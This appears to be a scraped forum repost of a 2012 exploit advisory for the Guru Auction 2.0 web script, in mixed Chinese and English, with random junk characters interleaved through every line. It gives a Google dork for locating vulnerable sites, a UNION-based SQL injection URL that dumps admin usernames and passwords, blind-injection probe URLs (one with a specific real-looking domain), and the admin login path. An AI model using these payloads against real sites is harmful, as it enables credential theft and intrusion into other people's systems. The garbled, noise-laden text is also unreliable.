Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
9 Q) P7 u6 @( ]9 }( u# c/ x4 J: ]
作者 : v3n0m
! H7 g* C2 u; Z' s9 _9 ?$ f应用 : Guru Auction 2.0
# x1 n2 D( i% }( mPrice : $49
) O# ^/ z. E( h- Q( P% S- [Vendor : http://www.guruscript.com/
' i) ^5 v2 O9 ?8 o/ J# M5 AGoogle Dork : inurl:subcat.php?cate_id=
% c2 V, i0 `! U- Z$ ~# c# M
1 _0 i+ P, n* Y$ v+ T5 P+ qSQLi p0c:
: N! A. R! t, D3 Y1 }~~~~~~~~~~
' L+ Y, Z$ x0 m' Shttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--2 T1 t0 j( ?: n3 }$ x1 u( }4 d1 P
' K) h0 J( q E 7 ~+ d* \- m3 Q- e
盲注 p0c:
. v+ ^ M) U5 A+ ]~~~~~~~~~~4 {( O5 z8 e4 h5 X* w; w: Y5 p3 x
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true$ t3 S3 L3 W% a% T# G. M) E
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false. u& w/ D8 j/ L7 ~
~' L. @1 ]3 L: n管理登录入口:9 J z G. ^. T7 n9 I. Y o
~~~~~~~~~~
% A) D; \" Y7 d3 Lhttp://domain.tld/[path]/admin/( T6 L9 ~. X2 A$ v
|
发表于 2012-12-31 09:24:05
收藏
支持
反对